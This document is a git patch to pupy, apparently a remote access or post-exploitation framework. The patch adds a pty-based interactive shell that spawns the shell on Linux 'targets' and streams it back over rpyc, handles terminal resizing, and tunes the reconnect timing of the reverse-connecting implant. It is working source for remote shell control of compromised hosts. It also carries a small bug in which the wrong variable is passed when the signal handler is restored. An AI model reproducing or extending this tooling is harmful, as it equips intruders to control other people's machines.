From 2ccb8bdc18a026d2ff113aaa35475ad899a78ad6 Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Sun, 1 Nov 2015 13:53:44 +0100 Subject: [PATCH] handling remote interactive terminal size using winch signal (useful when using programs like less, vim, ...) --- pupy/modules/interactive_shell.py | 30 ++++++-- pupy/packages/linux/all/ptyshell.py | 111 ++++++++++++++++++++++++++++ pupy/pp.py | 2 + pupy/pupylib/PupySignalHandler.py | 20 +++++ pupy/pupysh.py | 5 ++ 5 files changed, 163 insertions(+), 5 deletions(-) create mode 100644 pupy/packages/linux/all/ptyshell.py create mode 100644 pupy/pupylib/PupySignalHandler.py diff --git a/pupy/modules/interactive_shell.py b/pupy/modules/interactive_shell.py index efc88f9e..f499004a 100644 --- a/pupy/modules/interactive_shell.py +++ b/pupy/modules/interactive_shell.py @@ -6,26 +6,42 @@ import os if sys.platform!="win32": import termios import tty + import pty import select + import pupylib.PupySignalHandler + import fcntl + import array import time import StringIO from threading import Event +import rpyc __class_name__="InteractiveShell" def print_callback(data): sys.stdout.write(data) sys.stdout.flush() + class InteractiveShell(PupyModule): """ open an interactive command shell. tty are well handled for targets running *nix """ max_clients=1 + + def __init__(self, *args, **kwargs): + PupyModule.__init__(self,*args, **kwargs) + self.set_pty_size=None def init_argparse(self): self.arg_parser = PupyArgumentParser(description=self.__doc__) self.arg_parser.add_argument('-T', action='store_true', dest='pseudo_tty', help="Disable tty allocation") self.arg_parser.add_argument('program', nargs='?', help="open a specific program. Default for windows is cmd.exe and for linux it depends on the remote SHELL env var") + def _signal_winch(self, signum, frame): + if self.set_pty_size is not None: + buf = array.array('h', [0, 0, 0, 0]) + fcntl.ioctl(pty.STDOUT_FILENO, termios.TIOCGWINSZ, buf, True) + self.set_pty_size(buf[0], buf[1], buf[2], buf[3]) + def run(self, args): if self.client.is_windows() or args.pseudo_tty: self.client.load_package("interactive_shell") @@ -40,13 +56,16 @@ class InteractiveShell(PupyModule): self.client.conn.modules.interactive_shell.interactive_open(program=program, encoding=encoding) else: #handling tty self.client.load_package("ptyshell") - ps=self.client.conn.modules['ptyshell'].PtyShell() + self.ps=self.client.conn.modules['ptyshell'].PtyShell() program=None if args.program: program=args.program.split() - ps.spawn(program) + self.ps.spawn(program) is_closed=Event() - ps.start_read_loop(print_callback, is_closed.set) + self.ps.start_read_loop(print_callback, is_closed.set) + self.set_pty_size=rpyc.async(self.ps.set_pty_size) + old_handler = pupylib.PupySignalHandler.set_signal_winch(self._signal_winch) + self._signal_winch(None, None) # set the remote tty sie to the current terminal size try: fd=sys.stdin.fileno() old_settings = termios.tcgetattr(fd) @@ -58,7 +77,7 @@ class InteractiveShell(PupyModule): if sys.stdin in r: input_buf+=sys.stdin.read(1) elif input_buf: - ps.write(input_buf) + self.ps.write(input_buf) input_buf=b"" elif is_closed.is_set(): break @@ -67,6 +86,7 @@ class InteractiveShell(PupyModule): finally: termios.tcsetattr(fd, termios.TCSADRAIN, old_settings) finally: - ps.close() + pupylib.PupySignalHandler.set_signal_winch(old_settings) + self.ps.close() diff --git a/pupy/packages/linux/all/ptyshell.py b/pupy/packages/linux/all/ptyshell.py new file mode 100644 index 00000000..04625ccf --- /dev/null +++ b/pupy/packages/linux/all/ptyshell.py @@ -0,0 +1,111 @@ +# -*- coding: UTF8 -*- +import sys +import os +import termios +import pty +import tty +import fcntl +import subprocess +import time +import threading +import select +import rpyc +import logging +import array + +def prepare(): + os.setsid() + +class PtyShell(object): + def __init__(self): + self.prog=None + self.master=None + self.real_stdout=sys.stdout + + def close(self): + if self.prog.returncode is None: + self.prog.terminate() + + def __del__(self): + self.close() + + def spawn(self, argv=None): + if not argv: + if 'SHELL' in os.environ: + argv = [os.environ['SHELL']] + else: + argv= ['/bin/sh'] + + master, slave = pty.openpty() + self.slave=slave + self.master = os.fdopen(master, 'rb+wb', 0) # open file in an unbuffered mode + flags = fcntl.fcntl(self.master, fcntl.F_GETFL) + assert flags>=0 + flags = fcntl.fcntl(self.master, fcntl.F_SETFL , flags | os.O_NONBLOCK) + assert flags>=0 + self.prog = subprocess.Popen(shell=False, args=argv, stdin=slave, stdout=slave, stderr=subprocess.STDOUT, preexec_fn=prepare) + + def write(self, data): + self.master.write(data) + self.master.flush() + + def set_pty_size(self, p1, p2, p3, p4): + buf = array.array('h', [p1, p2, p3, p4]) + #fcntl.ioctl(pty.STDOUT_FILENO, termios.TIOCSWINSZ, buf) + fcntl.ioctl(self.master, termios.TIOCSWINSZ, buf) + + def _read_loop(self, print_callback, close_callback): + cb=rpyc.async(print_callback) + close_cb=rpyc.async(close_callback) + while True: + r, w, x = select.select([self.master], [], [], 1) + if self.master in r: + data=self.master.read(1024) + if not data: + break + cb(data) + else: + self.prog.poll() + if self.prog.returncode is not None: + close_cb() + break + + def start_read_loop(self, print_callback, close_callback): + t=threading.Thread(target=self._read_loop, args=(print_callback, close_callback)) + t.daemon=True + t.start() + + def interact(self): + """ doesn't work remotely with rpyc. use read_loop and write instead """ + try: + fd=sys.stdin.fileno() + f=os.fdopen(fd,'r') + old_settings = termios.tcgetattr(fd) + try: + tty.setraw(fd) + while True: + r, w, x = select.select([sys.stdin, self.master], [], [], 1) + if self.master in r: + data=self.master.read(50) + sys.stdout.write(data) + sys.stdout.flush() + if sys.stdin in r: + data=sys.stdin.read(1) + self.master.write(data) + self.prog.poll() + if self.prog.returncode is not None: + sys.stdout.write("\n") + break + finally: + termios.tcsetattr(fd, termios.TCSADRAIN, old_settings) + finally: + self.close() + + + + + +if __name__=="__main__": + ps=PtyShell() + ps.spawn(['/bin/bash']) + ps.interact() diff --git a/pupy/pp.py b/pupy/pp.py index e8f49087..2f651c09 100755 --- a/pupy/pp.py +++ b/pupy/pp.py @@ -90,6 +90,8 @@ class ReverseSlaveService(Service): def get_next_wait(attempt): if attempt<60: return 0.5 + elif attempt<100: + return 3 else: return random.randint(15,30) diff --git a/pupy/pupylib/PupySignalHandler.py b/pupy/pupylib/PupySignalHandler.py new file mode 100644 index 00000000..3278ac0e --- /dev/null +++ b/pupy/pupylib/PupySignalHandler.py @@ -0,0 +1,20 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- +import signal + +winch_handler=None + +def set_signal_winch(handler): + """ return the old signal handler """ + global winch_handler + old_handler=winch_handler + winch_handler=handler + return old_handler + +def signal_winch(signum, frame): + global winch_handler + if winch_handler: + return winch_handler(signum, frame) + +signal.signal(signal.SIGWINCH, signal_winch) + diff --git a/pupy/pupysh.py b/pupy/pupysh.py index a92f0710..848f94c3 100755 --- a/pupy/pupysh.py +++ b/pupy/pupysh.py @@ -18,6 +18,10 @@ import pupylib.PupyServer import pupylib.PupyCmd +try: + import pupylib.PupySignalHandler +except: + pass import logging import time import traceback @@ -70,6 +74,7 @@ if __name__=="__main__": pcmd.cmdloop() except Exception as e: print(traceback.format_exc()) + time.sleep(0.1) #to avoid flood in case of exceptions in loop pcmd.intro=''